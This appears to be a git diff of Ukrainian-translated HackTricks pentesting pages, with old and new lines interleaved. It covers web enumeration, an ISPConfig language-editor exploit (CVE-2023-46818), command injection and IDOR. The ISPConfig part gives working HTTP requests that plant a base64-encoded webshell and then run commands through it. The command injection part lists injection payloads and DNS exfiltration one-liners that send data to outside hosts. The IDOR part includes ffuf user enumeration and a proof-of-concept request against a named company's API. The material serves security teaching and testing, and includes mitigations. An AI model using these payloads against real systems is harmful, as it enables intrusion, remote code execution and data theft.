- **File Backups**: Після того як ви знайшли всі файли, шукайте бекапи всіх виконуваних файлів ("_.php_", "_.aspx_"...). Типові варіації імен для бекапу: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Також можна використовувати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Ви можете використовувати інструменти як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо можливо, спробуйте шукати** приховані параметри в кожному виконуваному веб-файлі.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Коментарі:** Перевірте коментарі всіх файлів, ви можете знайти **облікові дані** або **приховану функціональність**.
- Якщо ви граєте в **CTF**, "звичайний" трюк - це **сховати** **інформацію** всередині коментарів праворуч від **сторінки** (використовуючи **сотні** **пробілів**, щоб ви не бачили дані, якщо відкриєте вихідний код у браузері). Інша можливість - використовувати **кілька нових рядків** та **сховати інформацію** в коментарі в **нижній частині** веб-сторінки.
- **API ключі**: Якщо ви **знайдете будь-який API ключ**, є посібник, який вказує, як використовувати API ключі різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API ключі: Якщо ви знайдете будь-який API ключ, що виглядає як **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, ви можете використовувати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), щоб перевірити, до яких API ключ може отримати доступ.
- **S3 Buckets**: Під час spidering перевірте, чи є якийсь **субдомен** або будь-яке **посилання**, пов'язане з якимось **S3 bucket**. У такому випадку, [**перевірте** **дозволи** на bucket](buckets/index.html).
- **Comments:** Перевіряйте коментарі в усіх файлах — там можна знайти **credentials** або **приховану функціональність**.
- Якщо ви граєте в **CTF**, "поширений" трюк — **ховати** **інформацію** в коментарях праворуч на **сторінці** (використовуючи **сотні** пробілів, щоб ви не бачили дані при відкритті сорсу у браузері). Інша можливість — використовувати **кілька пустих рядків** і сховати інформацію в коментарі в **низу** веб-сторінки.
- **API keys**: Якщо ви **знайдете будь-який API key**, є керівництва по використанню API keys різних платформ: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Якщо знайдете API key, що починається на **AIza** (наприклад **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), можна використати проект [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) щоб перевірити, до яких API має доступ ключ.
- **S3 Buckets**: Під час spidering перевіряйте, чи будь-який **subdomain** або **link** пов’язаний з якимось **S3 bucket**. У такому випадку [**перевірте** **permissions** бакету](buckets/index.html).
### Спеціальні знахідки
### Special findings
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам слід **звернути увагу**.
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, про які слід **повідомити**.
**Цікаві файли**
**Interesting files**
- Шукайте **посилання** на інші файли всередині **CSS** файлів.
- [Якщо ви знайдете файл _**.git**_, можна витягнути деяку інформацію](git.md)
- Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як API ключі, паролі бази даних та іншу інформацію.
- Якщо ви знайдете **API кінцеві точки**, ви [також повинні їх протестувати](web-api-pentesting.md). Це не файли, але, ймовірно, "виглядатимуть" як вони.
- **JS файли**: У розділі spidering згадувалися кілька інструментів, які можуть витягувати шляхи з JS файлів. Також було б цікаво **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміна може вказувати на те, що потенційна вразливість була введена в код. Ви можете використовувати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
- Вам також слід перевірити виявлені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole), щоб дізнатися, чи є вони вразливими.
- **Javascript Deobfuscator і Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- [If you find a _**.git**_ file some information can be extracted](git.md)
- Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як api keys, паролі до БД та інші дані.
- Якщо ви знайдете **API endpoints**, вам слід також [протестувати їх](web-api-pentesting.md). Це не файли, але вони, ймовірно, "виглядатимуть" як такі.
- **JS files**: У секції spidering згадувалися кілька інструментів, що можуть витягувати шляхи з JS-файлів. Також корисно **моніторити кожен знайдений JS-файл**, оскільки іноді зміна може вказувати на введення потенційно вразливого функціоналу. Наприклад, можна використовувати [**JSMon**](https://github.com/robre/jsmon)**.**
- Ви також повинні перевіряти знайдені JS-файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole) щоб виявити, чи вони вразливі.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript з символами:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- У кількох випадках вам потрібно буде **зрозуміти регулярні вирази**, що використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex)
- Ви також можете **моніторити файли, в яких були виявлені форми**, оскільки зміна параметра або поява нової форми може вказувати на потенційно нову вразливу функціональність.
- У багатьох випадках потрібно **розуміти регулярні вирази**, що використовуються. Це буде корисно: [https://regex101.com/](https://regex101.com) або [https://pythonium.net/regex](https://pythonium.net/regex)
- Ви також можете **моніторити файли, де були виявлені форми**, оскільки зміна параметра або поява нової форми може свідчити про потенційно вразливий функціонал.
**403 Forbidden/Basic Authentication/401 Unauthorized (обхід)**
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
{{#ref}}
@ -312,38 +312,38 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
**502 Proxy Error**
Якщо будь-яка сторінка **відповідає** з цим **кодом**, це, ймовірно, **погано налаштований проксі**. **Якщо ви надішлете HTTP запит, наприклад: `GET https://google.com HTTP/1.1`** (з заголовком хоста та іншими загальними заголовками), **проксі** спробує **доступитися** до _**google.com**_ **і ви знайдете** SSRF.
Якщо будь-яка сторінка **відповідає** цим **кодом**, ймовірно це **погано налаштований proxy**. **Якщо ви надішлете HTTP-запит типу: `GET https://google.com HTTP/1.1`** (з Host header та іншими стандартними заголовками), **proxy** спробує **доступитися** до _**google.com**_ **і ви знайдете** SSRF.
**NTLM Authentication - Розкриття інформації**
**NTLM Authentication - Info disclosure**
Якщо працюючий сервер запитує аутентифікацію **Windows** або ви знаходите вхід, що запитує ваші **облікові дані** (і запитує **ім'я** **домена**), ви можете спровокувати **розкриття інформації**.\
**Надішліть** **заголовок**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\
Ви можете **автоматизувати** це, використовуючи **плагін nmap** "_http-ntlm-info.nse_".
Якщо сервер, що вимагає аутентифікацію, — **Windows**, або ви натрапите на логін, який запитує ваші **credentials** (і просить **domain** **name**), ви можете спричинити **витік інформації**.\
**Надішліть** заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM authentication**, сервер відповість внутрішньою інфою (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\
Ви можете **автоматизувати** це за допомогою **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Можливо **вставити вміст** всередину **Redirection**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає перенаправлення), але щось може бути **сховане** там.
Можна **вкладати контент** всередину **Redirection**. Цей контент **не буде показаний користувачу** (бо браузер виконає редирект), але там можна **сховати** інформацію.
### Перевірка веб-вразливостей
### Web Vulnerabilities Checking
Тепер, коли було виконано всебічну нумерацію веб-додатку, настав час перевірити на багато можливих вразливостей. Ви можете знайти контрольний список тут:
Тепер, коли виконано всебічну енумерацію веб-додатку, час перевірити багато можливих вразливостей. Чекліст доступний тут:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Знайдіть більше інформації про веб-вразливості на:
Детальніше про web vulns:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### Моніторинг сторінок на зміни
### Monitor Pages for changes
Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), щоб моніторити сторінки на модифікації, які можуть вставити вразливості.
Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) для моніторингу сторінок на предмет змін, що можуть вносити вразливості.
### HackTricks Автоматичні команди
### HackTricks Automatic Commands
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -0,0 +1,91 @@
# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## Overview
ISPConfig — це панель управління хостингом з відкритим кодом. Старіші збірки 3.2.x включали функцію редактора мовних файлів, яка при увімкненні для суперадміністратора дозволяла впровадження довільного PHP-коду через неправильно сформований запис перекладу. Це може призвести до RCE в контексті веб-сервера і, залежно від того, як виконується PHP, до підвищення привілеїв.
Key default paths:
- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx.
- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Редактор мов — ін'єкція PHP коду (CVE-2023-46818)
- Постраждалі: ISPConfig до 3.2.11 (виправлено в 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
- Редактор мов має бути увімкнений: `admin_allow_langedit=yes` в `/usr/local/ispconfig/security/security_settings.ini`
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### Ручний сценарій експлуатації
1) Open/create a language file to obtain CSRF tokens
Надішліть перший POST, щоб ініціалізувати форму та розпарсити поля CSRF з HTML-відповіді (`csrf_id`, `csrf_key`). Приклад шляху запиту: `/admin/language_edit.php`.
2) Inject PHP via records[] and save
Надішліть другий POST, що містить поля CSRF та шкідливий запис перекладу. Minimal command-execution probes:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Out-of-band тест (спостереження ICMP):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) Записати файли й розмістити webshell
Використайте `file_put_contents`, щоб створити файл у шляху, доступному через веб (наприклад, `admin/`):
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
Потім напишіть простий webshell, використовуючи base64, щоб уникнути небажаних символів у тілі POST:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
Будь ласка, вставте вміст файлу src/network-services-pentesting/pentesting-web/ispconfig.md, який потрібно перекласти.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
Якщо PHP виконується від імені root (наприклад, через `php -S 127.0.0.1:8080`, запущений від root), це призводить до негайного root RCE. В іншому випадку ви отримуєте виконання коду від імені користувача веб-сервера.
### Python PoC
Готовий до використання exploit автоматизує обробку token та доставку payload:
- https://github.com/bipbopbup/CVE-2023-46818-python-exploit
Приклад запуску:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### Посилення безпеки
- Оновіть до 3.2.11p1 або новішої версії
- Вимкніть редактор мови, якщо це не є вкрай необхідним:
```
admin_allow_langedit=no
```
- Не запускайте панель під root; налаштуйте PHP-FPM або веб-сервер так, щоб скидати привілеї
- Забезпечте надійну автентифікацію для вбудованого облікового запису `admin`
## Посилання
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}}
## Що таке командне впровадження?
## What is command Injection?
**Командне впровадження** дозволяє зловмиснику виконувати довільні команди операційної системи на сервері, що хостить додаток. Внаслідок цього додаток і всі його дані можуть бути повністю скомпрометовані. Виконання цих команд зазвичай дозволяє зловмиснику отримати несанкціонований доступ або контроль над середовищем додатка та основною системою.
A **command injection** дозволяє виконувати довільні команди операційної системи атакуючим на сервері, що хостить застосунок. Внаслідок цього застосунок та всі його дані можуть бути повністю скомпрометовані. Виконання таких команд зазвичай дозволяє атакуючому отримати неавторизований доступ або контроль над середовищем застосунку та підлеглою системою.
### Контекст
Залежно від **того, куди вводиться ваш ввід**, вам може знадобитися **закінчити цитований контекст** (використовуючи `"` або `'`) перед командами.
Залежно від того, **де підставляється ваш ввід**, може знадобитися **завершити цитований контекст** (використовуючи `"` або `'`) перед командами.
## Командне впровадження/Виконання
## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
@ -29,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Обхід** обмежень
Якщо ви намагаєтеся виконати **произвольні команди на linux машині**, вам буде цікаво прочитати про ці **Обходи:**
### **Обмеження** Bypasses
Якщо ви намагаєтеся виконати **довільні команди на linux-машині**, вам буде цікаво прочитати про ці **Bypasses:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -46,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Параметри
Ось 25 найпоширеніших параметрів, які можуть бути вразливими до ін'єкцій коду та подібних вразливостей RCE (з [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Ось топ-25 параметрів, які можуть бути вразливими до code injection та подібних RCE вразливостей (з [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -76,7 +76,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Time based data exfiltration
Витягування даних: по одному символу
Витяг даних: char by char
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -88,7 +88,7 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS на основі ексфільтрації даних
### DNS based data exfiltration
На основі інструменту з `https://github.com/HoLyVieR/dnsbin`, також розміщеного на dnsbin.zhack.ca
```
@ -100,12 +100,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Онлайн-інструменти для перевірки витоку даних на основі DNS:
Онлайн інструменти для перевірки DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
### Обхід фільтрації
### Filtering bypass
#### Windows
```
@ -119,9 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### Node.js `child_process.exec` проти `execFile`
### Node.js `child_process.exec` vs `execFile`
Коли ви перевіряєте бекенди на JavaScript/TypeScript, ви часто зустрінете API Node.js `child_process`.
Під час аудиту бекендів на JavaScript/TypeScript ви часто зустрінете Node.js `child_process` API.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -129,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` створює **shell** (`/bin/sh -c`), тому будь-який символ, який має спеціальне значення для shell (зворотні лапки, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли введення користувача конкатенується в рядку.
`exec()` запускає **shell** (`/bin/sh -c`), тому будь-який символ, який має спеціальне значення для shell (back-ticks, `;`, `&&`, `|`, `$()`, …) призведе до **command injection**, коли вхідні дані користувача конкатенуються в рядок.
**Зменшення ризику:** використовуйте `execFile()` (або `spawn()` без параметра `shell`) і надавайте **кожен аргумент як окремий елемент масиву**, щоб shell не був залучений:
**Запобігання:** використовуйте `execFile()` (або `spawn()` без опції `shell`) і передавайте **кожен аргумент як окремий елемент масиву**, щоб shell не використовувався:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -139,9 +139,10 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Реальний випадок: *Synology Photos* ≤ 1.7.0-0794 був вразливим через неавтентифіковану подію WebSocket, яка вставляла дані, контрольовані зловмисником, у `id_user`, що пізніше було вбудовано в виклик `exec()`, досягаючи RCE (Pwn2Own Ireland 2024).
Реальний випадок: *Synology Photos* ≤ 1.7.0-0794 був вразливим через неаутентифіковану WebSocket-подію, яка поміщала контрольовані атакуючим дані в `id_user`, які пізніше були включені у виклик `exec()`, що призвело до RCE (Pwn2Own Ireland 2024).
## Список для виявлення Brute-Force
## Список виявлення грубої сили
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
@ -153,5 +154,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,22 +2,23 @@
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) з'являється, коли веб-або API-інтерфейс розкриває або приймає ідентифікатор, контрольований користувачем, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки, що викликач має право** отримати доступ/змінити цей об'єкт. Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв, наприклад, читання або зміну даних інших користувачів і, в найгіршому випадку, повне захоплення облікового запису або масове витікання даних.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) виникає, коли веб- або API endpoint розкриває або приймає ідентифікатор, що контролюється користувачем, який використовується **безпосередньо** для доступу до внутрішнього об'єкта **без перевірки, чи має викликач дозвіл** на доступ/зміну цього об'єкта.
Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв, наприклад читання або зміну даних інших користувачів, а в гіршому випадку — повний захоплення облікового запису або масове виведення даних.
---
## 1. Визначення потенційних IDOR
## 1. Виявлення потенційних IDOR
1. Шукайте **параметри, які посилаються на об'єкт**:
* Шлях: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Запит: `?id=42`, `?invoice=2024-00001`
* Тіло / JSON: `{"user_id": 321, "order_id": 987}`
* Заголовки / Куки: `X-Client-ID: 4711`
2. Віддавайте перевагу кінцевим точкам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Зверніть увагу, коли ідентифікатори є **послідовними або передбачуваними** якщо ваш ID `64185742`, то `64185741` ймовірно існує.
4. Досліджуйте приховані або альтернативні потоки (наприклад, *"Члени команди Paradox"* посилання на сторінках входу), які можуть розкрити додаткові API.
5. Використовуйте **автентифіковану сесію з низькими привілеями** і змініть лише ID **зберігаючи той же токен/куку**. Відсутність помилки авторизації зазвичай є ознакою IDOR.
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. Надавайте перевагу endpoint'ам, які **читають або оновлюють** дані (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Звертайте увагу, коли ідентифікатори **послідовні або передбачувані** якщо ваш ID `64185742`, то `64185741` ймовірно існує.
4. Досліджуйте приховані або альтернативні потоки (наприклад посилання *"Paradox team members"* на сторінках входу), які можуть відкрити додаткові API.
5. Використовуйте **аутентифіковану сесію з низькими привілеями** і змінюйте тільки ID, **зберігаючи той самий token/cookie**. Відсутність помилки авторизації зазвичай є ознакою IDOR.
### Швидке ручне втручання (Burp Repeater)
### Швидке ручне маніпулювання (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
@ -26,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741}
```
### Автоматизована енумерація (Burp Intruder / цикл curl)
### Автоматизована енумерація (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -36,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
done
```
---
## 2. Реальний випадок Платформа чат-бота McHire (2025)
Під час оцінки порталу рекрутингу **McHire**, що працює на базі Paradox.ai, було виявлено наступний IDOR:
### Error-response oracle for user/file enumeration
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: кукі сесії користувача для **будь-якого** тестового облікового запису ресторану
* Body parameter: `{"lead_id": N}` 8-значний, **послідовний** числовий ідентифікатор
Коли download endpoint приймає одночасно username і filename (наприклад `/view.php?username=<u>&file=<f>`), тонкі відмінності в повідомленнях про помилки часто створюють oracle:
Зменшуючи `lead_id`, тестувальник отримав довільні дані про кандидатів **повні PII** (ім'я, електронна пошта, телефон, адреса, переваги зміни) плюс споживчий **JWT**, який дозволяв перехоплення сесії. Перерахунок діапазону `1 64,185,742` виявив приблизно **64 мільйони** записів.
- Неіснуючий username → "User not found"
- Невірний filename, але валідне розширення → "File does not exist" (іноді також перераховує доступні файли)
- Невірне розширення → помилка валідації
Запит для підтвердження концепції:
У будь-якій аутентифікованій сесії ви можете fuzzити параметр username, тримаючи benign filename, і фільтрувати за рядком "User not found", щоб виявити валідних користувачів:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Після того, як виявлено дійсні імена користувачів, запитуйте конкретні файли безпосередньо (наприклад, `/view.php?username=amanda&file=privacy.odt`). Цей шаблон часто призводить до неавторизованого розкриття документів інших користувачів та credential leakage.
---
## 2. Реальний кейс — McHire Chatbot Platform (2025)
Під час тестування порталу найму **McHire**, що працює на Paradox.ai, було виявлено наступний IDOR:
* Ендпоінт: `PUT /api/lead/cem-xhr`
* Авторизація: cookie сесії користувача для **any** тестового облікового запису ресторану
* Параметр тіла: `{"lead_id": N}` 8-значний, **послідовний** числовий ідентифікатор
Зменшуючи значення `lead_id`, тестер отримав довільні повні **PII** заявників (ім'я, e-mail, телефон, адреса, переваги щодо змін) та споживчий **JWT**, який дозволив session hijacking. Перебирання діапазону `1 64,185,742` виявило приблизно **64 million** записів.
Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Об'єднано з **дефолтними адміністративними обліковими даними** (`123456:123456`), які надали доступ до тестового облікового запису, вразливість призвела до критичного витоку даних на рівні компанії.
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
---
## 3. Вплив IDOR / BOLA
* Горизонтальна ескалація читання/оновлення/видалення даних **інших користувачів**.
* Вертикальна ескалація користувач з низькими привілеями отримує функціональність, доступну лише адміністраторам.
* Масовий витік даних, якщо ідентифікатори є послідовними (наприклад, ID заявників, рахунки).
* Захоплення облікового запису шляхом викрадення токенів або скидання паролів інших користувачів.
## 3. Наслідки IDOR / BOLA
* Horizontal escalation read/update/delete **other users** data.
* Vertical escalation low privileged user gains admin-only functionality.
* Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices).
* Account takeover by stealing tokens or resetting passwords of other users.
---
## 4. Заходи та найкращі практики
1. **Забезпечити авторизацію на рівні об'єкта** для кожного запиту (`user_id == session.user`).
2. Віддавати перевагу **непрямим, непередбачуваним ідентифікаторам** (UUIDv4, ULID) замість автоінкрементних ID.
3. Виконувати авторизацію **на стороні сервера**, ніколи не покладатися на приховані поля форм або елементи управління UI.
4. Реалізувати перевірки **RBAC / ABAC** в центральному проміжному програмному забезпеченні.
5. Додати **обмеження швидкості та ведення журналів** для виявлення перерахування ID.
6. Тестувати безпеку кожної нової кінцевої точки (модульне, інтеграційне та DAST).
## 4. Пом'якшення та найкращі практики
1. **Enforce object-level authorization** on every request (`user_id == session.user`).
2. Prefer **indirect, unguessable identifiers** (UUIDv4, ULID) instead of auto-increment IDs.
3. Perform authorization **server-side**, never rely on hidden form fields or UI controls.
4. Implement **RBAC / ABAC** checks in a central middleware.
5. Add **rate-limiting & logging** to detect enumeration of IDs.
6. Security test every new endpoint (unit, integration, and DAST).
---
## 5. Інструменти
* **Розширення BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Проекти на Github**: `bwapp-idor-scanner`, `Blindy` (масове полювання на IDOR).
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## Посилання
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}